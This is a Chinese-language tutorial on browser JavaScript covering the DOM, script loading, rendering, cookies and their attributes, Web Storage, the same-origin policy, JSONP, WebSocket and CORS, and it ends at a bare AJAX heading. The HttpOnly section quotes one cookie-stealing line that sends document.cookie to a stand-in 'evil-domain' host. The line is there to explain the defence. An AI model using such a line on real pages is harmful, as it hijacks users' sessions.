1、DOM模型
DOM 是 JavaScript 操作網頁的接口,全稱為“文檔對象模型”(Document Object Model)。它的作用是將網頁轉為一個 JavaScript 對象,從而可以用腳本進行各種操作(比如增刪內容)。
1)document
對象
document
對象是文檔的根節點,每張網頁都有自己的document
對象。window.document
屬性就指向這個對象。只要瀏覽器開始載入 HTML 文檔,該對象就存在了,可以直接使用。
document.doctype:對于 HTML 文檔來說,document
對象一般有兩個子節點。第一個子節點是document.doctype
,指向<DOCTYPE>
節點,即文檔類型(Document Type Declaration,簡寫DTD)節點。HTML 的文檔類型節點,一般寫成<!DOCTYPE html>
。
document.documentElement:document.documentElement
屬性返回當前文檔的根節點(root)。它通常是document
節點的第二個子節點,緊跟在document.doctype
節點后面。HTML網頁的該屬性,一般是<html>
節點。
document.body,document.head:document.body
屬性指向<body>
節點,document.head
屬性指向<head>
節點。
document.domain:document.domain
屬性返回當前文檔的域名,不包含協議和接口。比如,網頁的網址是http://www.example.com:80/hello.html
,那么domain
屬性就等于www.example.com
。如果無法獲取域名,該屬性返回null
。
document.title:document.title
屬性返回當前文檔的標題。默認情況下,返回<title>
節點的值。但是該屬性是可寫的,一旦被修改,就返回修改后的值。
document.write():document.write
方法用于向當前文檔寫入內容。它是JavaScript語言標準化之前就存在的方法,現在完全有更符合標準的方法向文檔寫入內容(比如對innerHTML
屬性賦值)。所以,除了某些特殊情況,應該盡量避免使用document.write
這個方法。
1)Element對象
Element
對象對應網頁的 HTML 元素。每一個 HTML 元素,在 DOM 樹上都會轉化成一個Element
節點對象。
Element.tagName:返回指定元素的大寫標簽名。
網頁元素可以自定義data-
屬性,用來添加數據。Element.dataset
屬性返回一個對象,可以從這個對象讀寫data-
屬性。注意,dataset
上面的各個屬性返回都是字符串。
// <span id="myspan" data-project-index="1" data-test='123'>Hello</span> var myspan = document.getElementById('myspan');
myspan.dataset.timestamp = new Date().getTime(); console.log(myspan.dataset.projectIndex, myspan.dataset.test); // 1 123 console.log(myspan.getAttribute('data-project-index')); // 1
除了使用dataset
讀寫data-
屬性,也可以使用Element.getAttribute()
和Element.setAttribute()
,通過完整的屬性名讀寫這些屬性。
?
2、瀏覽器對象模型(BOM)
1)概述
1.1)script標簽
a)工作原理
瀏覽器加載JavaScript腳本,主要通過<script>
標簽完成。正常的網頁加載流程是這樣的。
- 瀏覽器一邊下載HTML網頁,一邊開始解析
- 解析過程中,發現
<script>
標簽 - 暫停解析,網頁渲染的控制權轉交給JavaScript引擎
- 如果
<script>
標簽引用了外部腳本,就下載該腳本,否則就直接執行 - 執行完畢,控制權交還渲染引擎,恢復往下解析HTML網頁
加載外部腳本時,瀏覽器會暫停頁面渲染,等待腳本下載并執行完成后,再繼續渲染。原因是JavaScript可以修改DOM(比如使用document.write
方法),所以必須把控制權讓給它,否則會導致復雜的線程競賽的問題。
如果外部腳本加載時間很長(比如一直無法完成下載),就會造成網頁長時間失去響應,瀏覽器就會呈現“假死”狀態,這被稱為“阻塞效應”。為了避免這種情況,較好的做法是將<script>
標簽都放在頁面底部,而不是頭部。這樣即使遇到腳本失去響應,網頁主體的渲染也已經完成了,用戶至少可以看到內容,而不是面對一張空白的頁面。如果某些腳本代碼非常重要,一定要放在頁面頭部的話,最好直接將代碼嵌入頁面,而不是連接外部腳本文件,這樣能縮短加載時間。
將腳本文件都放在網頁尾部加載,還有一個好處。在DOM結構生成之前就調用DOM,JavaScript會報錯,如果腳本都在網頁尾部加載,就不存在這個問題,因為這時DOM肯定已經生成了。
<html lang="en"> <head><!--...--><script>// console.log(document.body); // null/*document.addEventListener('DOMContentLoaded',function(){console.log(document.body); // <body>...</body>})*//*window.onload = function() {console.log(document.body); // <body>...</body> }*/</script> </head> <body><script>console.log(document.body); // <body>...</body></script> </body> </html>
如果有多個script
標簽,比如下面這樣。
<script src="a.js"></script> <script src="b.js"></script>
瀏覽器會同時并行下載a.js
和b.js
,但是,執行時會保證先執行a.js
,然后再執行b.js
,即使后者先下載完成,也是如此。也就是說,腳本的執行順序由它們在頁面中的出現順序決定,這是為了保證腳本之間的依賴關系不受到破壞。當然,加載這兩個腳本都會產生“阻塞效應”,必須等到它們都加載完成,瀏覽器才會繼續頁面渲染。
b)defer屬性
為了解決腳本文件下載阻塞網頁渲染的問題,一個方法是加入defer
屬性。
<script src="a.js" defer></script> <script src="b.js" defer></script>
上面代碼中,只有等到DOM加載完成后,才會執行a.js
和b.js
。
defer
的運行流程如下:
- 瀏覽器開始解析HTML網頁
- 解析過程中,發現帶有
defer
屬性的script
標簽 - 瀏覽器繼續往下解析HTML網頁,同時并行下載
script
標簽中的外部腳本 - 瀏覽器完成解析HTML網頁,此時再執行下載的腳本
有了defer
屬性,瀏覽器下載腳本文件的時候,不會阻塞頁面渲染。下載的腳本文件在DOMContentLoaded
事件觸發前執行(即剛剛讀取完</html>
標簽),而且可以保證執行順序就是它們在頁面上出現的順序。對于內置而不是加載外部腳本的script
標簽,以及動態生成的script
標簽,defer
屬性不起作用。另外,使用defer
加載的外部腳本不應該使用document.write
方法。
c)async屬性
解決“阻塞效應”的另一個方法是加入async
屬性。
<script src="a.js" async></script> <script src="b.js" async></script>
async
屬性的作用是,使用另一個進程下載腳本,下載時不會阻塞渲染。
- 瀏覽器開始解析HTML網頁
- 解析過程中,發現帶有
async
屬性的script
標簽 - 瀏覽器繼續往下解析HTML網頁,同時并行下載
script
標簽中的外部腳本 - 腳本下載完成,瀏覽器暫停解析HTML網頁,開始執行下載的腳本
- 腳本執行完畢,瀏覽器恢復解析HTML網頁
async
屬性可以保證腳本下載的同時,瀏覽器繼續渲染。需要注意的是,一旦采用這個屬性,就無法保證腳本的執行順序。哪個腳本先下載結束,就先執行那個腳本。另外,使用async
屬性的腳本文件中,不應該使用document.write
方法。
defer
屬性和async
屬性到底應該使用哪一個?一般來說,如果腳本之間沒有依賴關系,就使用async
屬性,如果腳本之間有依賴關系,就使用defer
屬性。如果同時使用async
和defer
屬性,后者不起作用,瀏覽器行為由async
屬性決定。
1.2)瀏覽器的組成
瀏覽器的核心是兩部分:渲染引擎和JavaScript解釋器(又稱JavaScript引擎)。
a)渲染引擎
渲染引擎的主要作用是,將網頁代碼渲染為用戶視覺可以感知的平面文檔。不同的瀏覽器有不同的渲染引擎。
渲染引擎處理網頁,通常分成四個階段。
- 解析代碼:HTML代碼解析為DOM,CSS代碼解析為CSSOM(CSS Object Model)
- 對象合成:將DOM和CSSOM合成一棵渲染樹(render tree)
- 布局:計算出渲染樹的布局(layout)
- 繪制:將渲染樹繪制到屏幕
以上四步并非嚴格按順序執行,往往第一步還沒完成,第二步和第三步就已經開始了。所以,會看到這種情況:網頁的HTML代碼還沒下載完,但瀏覽器已經顯示出內容了。
b)重流和重繪
渲染樹轉換為網頁布局,稱為“布局流”;布局顯示到頁面的這個過程,稱為“繪制”。它們都具有阻塞效應,并且會耗費很多時間和計算資源。
頁面生成以后,腳本操作和樣式表操作,都會觸發重流和重繪。用戶的互動,也會觸發,比如設置了鼠標懸停(a:hover
)效果、頁面滾動、在輸入框中輸入文本、改變窗口大小等等。重流和重繪并不一定一起發生,重流必然導致重繪,重繪不一定需要重流。比如改變元素顏色,只會導致重繪,而不會導致重流;改變元素的布局,則會導致重繪和重流。大多數情況下,瀏覽器會智能判斷,將重流和重繪只限制到相關的子樹上面,最小化所耗費的代價,而不會全局重新生成網頁。
作為開發者,應該盡量設法降低重繪的次數和成本。比如,盡量不要變動高層的DOM元素,而以底層DOM元素的變動代替;再比如,重繪table
布局和flex
布局,開銷都會比較大。
優化技巧。
- 讀取DOM或者寫入DOM,盡量寫在一起,不要混雜
- 緩存DOM信息
- 不要一項一項地改變樣式,而是使用CSS class一次性改變樣式
- 使用document fragment操作DOM
- 動畫時使用absolute定位或fixed定位,這樣可以減少對其他元素的影響
- 只在必要時才顯示元素
- 使用
window.requestAnimationFrame()
,因為它可以把代碼推遲到下一次重流時執行,而不是立即要求頁面重流 - 使用虛擬DOM(virtual DOM)庫
c)JavaScript引擎
JavaScript引擎的主要作用是,讀取網頁中的JavaScript代碼,對其處理后運行。
JavaScript是一種解釋型語言,也就是說,它不需要編譯,由解釋器實時運行。這樣的好處是運行和修改都比較方便,刷新頁面就可以重新解釋;缺點是每次運行都要調用解釋器,系統開銷較大,運行速度慢于編譯型語言。為了提高運行速度,目前的瀏覽器都將JavaScript進行一定程度的編譯,生成類似字節碼的中間代碼,以提高運行速度。
?
2)window
對象
在瀏覽器中,window
對象指當前的瀏覽器窗口。它也是所有對象的頂層對象。
“頂層對象”指的是最高一層的對象,所有其他對象都是它的下屬。JavaScript規定,瀏覽器環境的所有全局變量,都是window
對象的屬性。
2.1)URL的編碼/解碼方法
網頁URL的合法字符分成兩類。
- URL元字符:分號(
;
),逗號(’,’),斜杠(/
),問號(?
),冒號(:
),at(@
),&
,等號(=
),加號(+
),美元符號($
),井號(#
) - 語義字符:
a-z
,A-Z
,0-9
,連詞號(-
),下劃線(_
),點(.
),感嘆號(!
),波浪線(~
),星號(*
),單引號(\
),圓括號(
()`)
除了以上字符,其他字符出現在URL之中都必須轉義,規則是根據操作系統的默認編碼,將每個字節轉為百分號(%
)加上兩個大寫的十六進制字母。
JavaScript提供四個URL的編碼/解碼方法:encodeURI()、
encodeURIComponent()、
decodeURI()、
decodeURIComponent()。
encodeURI
?方法的參數是一個字符串,代表整個URL。它會將元字符和語義字符之外的字符,都進行轉義;encodeURIComponent
只轉除了語義字符之外的字符,元字符也會被轉義。因此,它的參數通常是URL的路徑或參數值,而不是整個URL。
encodeURI('http://www.example.com/q=春節') // "http://www.example.com/q=%E6%98%A5%E8%8A%82" encodeURIComponent('http://www.example.com/q=春節') // "http%3A%2F%2Fwww.example.com%2Fq%3D%E6%98%A5%E8%8A%82"
上面代碼中,encodeURIComponent
會連URL元字符一起轉義,所以通常只用它轉URL的片段。
decodeURI
用于還原轉義后的URL,它是encodeURI
方法的逆運算;decodeURIComponent
用于還原轉義后的URL片段,它是encodeURIComponent
方法的逆運算。
2.2)window.location
window.location
返回一個location
對象,用于獲取窗口當前的URL信息。它等同于document.location
對象
3)history
對象
瀏覽器窗口有一個history
對象,用來保存瀏覽歷史。
history
對象提供了一系列方法,允許在瀏覽歷史之間移動。
back()
:移動到上一個訪問頁面,等同于瀏覽器的后退鍵。forward()
:移動到下一個訪問頁面,等同于瀏覽器的前進鍵。go()
:接受一個整數作為參數,移動到該整數指定的頁面,比如go(1)
相當于forward()
,go(-1)
相當于back()
。
如果移動的位置超出了訪問歷史的邊界,以上三個方法并不報錯,而是默默的失敗。history.go(0)
相當于刷新當前頁面。注意,返回上一頁時,頁面通常是從瀏覽器緩存之中加載,而不是重新要求服務器發送新的網頁。
?
4)Cookie
4.1)概述
Cookie 是服務器保存在瀏覽器的一小段文本信息,每個 Cookie 的大小一般不能超過4KB。瀏覽器每次向服務器發出請求,就會自動附上這段信息。Cookie 主要用來分辨兩個請求是否來自同一個瀏覽器,以及用來保存一些狀態信息。它的常用場合有以下一些。
- 對話(session)管理:保存登錄、購物車等需要記錄的信息。
- 個性化:保存用戶的偏好,比如網頁的字體大小、背景色等等。
- 追蹤:記錄和分析用戶行為。
有些開發者使用 Cookie 作為客戶端儲存。這樣做雖然可行,但是并不推薦,因為 Cookie 的設計目標并不是這個,它的容量很小(4KB),缺乏數據操作接口,而且會影響性能。客戶端儲存應該使用 Web storage API 和 IndexedDB。
Cookie 包含以下幾方面的信息:Cookie 的名字、Cookie 的值、到期時間、所屬域名(默認是當前域名)、生效的路徑(默認是當前網址)。
舉例來說,用戶訪問網址www.example.com
,服務器在瀏覽器寫入一個 Cookie。這個 Cookie 就會包含www.example.com
這個域名,以及根路徑/
。這意味著,這個 Cookie 對該域名的根路徑和它的所有子路徑都有效。如果路徑設為/forums
,那么這個 Cookie 只有在訪問www.example.com/forums
及其子路徑時才有效。以后,瀏覽器一旦訪問這個路徑,瀏覽器就會附上這段 Cookie 發送給服務器。
document.cookie
屬性返回當前網頁的 Cookie。瀏覽器的同源政策規定,兩個網址只要域名相同和端口相同,就可以共享 Cookie。注意,這里不要求協議相同。也就是說,http://example.com
設置的 Cookie,可以被https://example.com
讀取。
4.2)Cookie 與 HTTP 協議
a)HTTP 回應:Cookie 的生成
Cookie 由 HTTP 協議生成,也主要是供 HTTP 協議使用。服務器如果希望在瀏覽器保存 Cookie,就要在 HTTP 回應的頭信息里面,放置一個Set-Cookie
字段。
Set-Cookie:foo=bar
上面代碼會在瀏覽器保存一個名為foo
的 Cookie,它的值為bar
。
b)HTTP 請求:Cookie 的發送
瀏覽器向服務器發送 HTTP 請求時,每個請求都會帶上相應的 Cookie。也就是說,把服務器早前保存在瀏覽器的這段信息,再發回服務器。這時要使用 HTTP 頭信息的Cookie
字段。
Cookie: foo=bar
上面代碼會向服務器發送名為foo
的 Cookie,值為bar
。Cookie
字段可以包含多個 Cookie,使用分號(;
)分隔。
Cookie: name=value; name2=value2; name3=value3
4.3)Cookie 的屬性
a)Expires,Max-Age
Expires
屬性指定一個具體的到期時間,到了指定時間以后,瀏覽器就不再保留這個 Cookie。如果不設置該屬性,或者設為null
,Cookie 只在當前會話(session)有效,瀏覽器窗口一旦關閉,當前 Session 結束,該 Cookie 就會被刪除。另外,瀏覽器根據本地時間,決定 Cookie 是否過期,由于本地時間是不精確的,所以沒有辦法保證 Cookie 一定會在服務器指定的時間過期。
Max-Age
屬性指定從現在開始 Cookie 存在的秒數,比如60 * 60 * 24 * 365
(即一年)。過了這個時間以后,瀏覽器就不再保留這個 Cookie。如果同時指定了Expires
和Max-Age
,那么Max-Age
的值將優先生效。
如果Set-Cookie
字段沒有指定Expires
或Max-Age
屬性,那么這個 Cookie 就是 Session Cookie,即它只在本次對話存在,一旦用戶關閉瀏覽器,瀏覽器就不會再保留這個 Cookie。
b)Domain,Path
Domain
屬性指定瀏覽器發出 HTTP 請求時,哪些域名要附帶這個 Cookie。如果沒有指定該屬性,瀏覽器會默認將其設為當前 URL 的一級域名,比如www.example.com
會設為example.com
,而且以后如果訪問example.com
的任何子域名,HTTP 請求也會帶上這個 Cookie。如果服務器在Set-Cookie
字段指定的域名,不屬于當前域名,瀏覽器會拒絕這個 Cookie。
Path
屬性指定瀏覽器發出 HTTP 請求時,哪些路徑要附帶這個 Cookie。只要瀏覽器發現,Path
屬性是 HTTP 請求路徑的開頭一部分,就會在頭信息里面帶上這個 Cookie。比如,PATH
屬性是/
,那么請求/docs
路徑也會包含該 Cookie。當然,前提是域名必須一致。
c)Secure,HttpOnly
Secure
屬性指定瀏覽器只有在加密協議 HTTPS 下,才能將這個 Cookie 發送到服務器。另一方面,如果當前協議是 HTTP,瀏覽器會自動忽略服務器發來的Secure
屬性。該屬性只是一個開關,不需要指定值。如果通信是 HTTPS 協議,該開關自動打開。
HttpOnly
屬性指定該 Cookie 無法通過 JavaScript 腳本拿到,主要是Document.cookie
屬性、XMLHttpRequest
對象和 Request API 都拿不到該屬性。這樣就防止了該 Cookie 被腳本讀到,只有瀏覽器發出 HTTP 請求時,才會帶上該 Cookie。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
上面是跨站點載入的一個惡意腳本的代碼,能夠將當前網頁的 Cookie 發往第三方服務器。如果設置了一個 Cookie 的HttpOnly
屬性,上面代碼就不會讀到該 Cookie。
4.4)document.cookie
document.cookie
屬性用于讀寫當前網頁的 Cookie。讀取的時候,它會返回當前網頁的所有 Cookie,前提是該 Cookie 不能有HTTPOnly
屬性。
document.cookie // "foo=bar;baz=bar"
上面代碼從document.cookie
一次性讀出兩個 Cookie,它們之間使用分號分隔。必須手動還原,才能取出每一個 Cookie 的值。
var cookies = document.cookie.split(';'); for (var i = 0; i < cookies.length; i++) {console.log(cookies[i]); } // foo=bar // baz=bar
document.cookie
屬性是可寫的,可以通過它為當前網站添加 Cookie。
document.cookie = 'fontSize=14';
寫入的時候,Cookie 的值必須寫成key=value
的形式。document.cookie
一次只能寫入一個 Cookie。
?
5)Web Storage:瀏覽器端數據儲存機制
這個API的作用是,使得網頁可以在瀏覽器端儲存數據。它分成兩類:sessionStorage和localStorage。sessionStorage保存的數據用于瀏覽器的一次會話,當會話結束(通常是該窗口關閉),數據被清空;localStorage保存的數據長期存在,下一次訪問該網站的時候,網頁可以直接讀取以前保存的數據。除了保存期限的長短不同,這兩個對象的屬性和方法完全一樣。與Cookie一樣,它們也受同域限制。某個網頁存入的數據,只有同域下的網頁才能讀取。
6)同源政策
同源政策最初的含義是指,A 網頁設置的 Cookie,B 網頁不能打開,除非這兩個網頁“同源”。所謂“同源”指的是”三個相同“:協議相同、域名相同、端口相同。
同源政策的目的,是為了保證用戶信息的安全,防止惡意的網站竊取數據。
6.1)Cookie
Cookie 是服務器寫入瀏覽器的一小段信息,只有同源的網頁才能共享。如果兩個網頁一級域名相同,只是次級域名不同,瀏覽器允許通過設置document.domain
共享 Cookie。
舉例來說,A 網頁的網址是http://w1.example.com/a.html
,B 網頁的網址是http://w2.example.com/b.html
,那么只要設置相同的document.domain
,兩個網頁就可以共享 Cookie。因為瀏覽器通過document.domain
屬性來檢查是否同源。
// 兩個網頁都需要設置 document.domain = 'example.com';
注意,A 和 B 兩個網頁都需要設置document.domain
屬性,才能達到同源的目的。因為設置document.domain
的同時,會把端口重置為null
,因此如果只設置一個網頁的document.domain
,會導致兩個網址的端口不同,還是達不到同源的目的。
另外,服務器也可以在設置 Cookie 的時候,指定 Cookie 的所屬域名為一級域名,比如.example.com
。這樣的話,二級域名和三級域名不用做任何設置,都可以讀取這個 Cookie。
Set-Cookie: key=value; domain=.example.com; path=/
6.2)AJAX
同源政策規定,AJAX 請求只能發給同源的網址,否則就報錯。除了架設服務器代理(瀏覽器請求同源服務器,再由后者請求外部服務),有三種方法規避這個限制:JSONP、WebSocket、CORS。
a)JSONP
JSONP 是服務器與客戶端跨源通信的常用方法。最大特點就是簡單適用,老式瀏覽器全部支持,服務端改造非常小。它的基本思想是,網頁通過添加一個<script>
元素,向服務器請求 JSON 數據,這種做法不受同源政策限制;服務器收到請求后,將數據放在一個指定名字的回調函數里傳回來。
function addScriptTag(src) {var script = document.createElement('script');script.src = src;document.body.appendChild(script); } window.onload = function () {//addScriptTag('https://xxx/xxx.do?callback=foo');addScriptTag('https://xxx/xxx.do?jsonp=foo'); }function foo(data) {console.log(data); };
上面代碼通過動態添加<script>
元素,向服務器發出請求(https://xxx/xxx.do)。注意,該請求的查詢字符串有一個callback或jsonp
參數,用來指定回調函數的名字,這對于 JSONP 是必需的。服務器收到這個請求以后,會將數據放在回調函數的參數位置返回。由于<script>
元素請求的腳本,直接作為代碼運行。這時,只要瀏覽器定義了foo
函數,該函數就會立即調用(未定義會報錯)。
b)WebSocket
WebSocket 是一種通信協議,使用ws://
(非加密)和wss://
(加密)作為協議前綴。該協議不實行同源政策,只要服務器支持,就可以通過它進行跨源通信。
下面是一個例子,瀏覽器發出的 WebSocket 請求的頭信息
GET /chat HTTP/1.1 Host: server.example.com Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw== Sec-WebSocket-Protocol: chat, superchat Sec-WebSocket-Version: 13 Origin: http://example.com
上面代碼中,有一個字段是Origin
,表示該請求的請求源,即發自哪個域名。正是因為有了Origin
這個字段,所以 WebSocket 才沒有實行同源政策。因為服務器可以根據這個字段,判斷是否許可本次通信。如果該域名在白名單內,服務器就會做出回應。
c)CORS
CORS 是跨源資源分享(Cross-Origin Resource Sharing)的縮寫。它是 W3C 標準,屬于跨源 AJAX 請求的根本解決方法。相比 JSONP 只能發GET
請求,CORS 允許任何類型的請求。
?
7)AJAX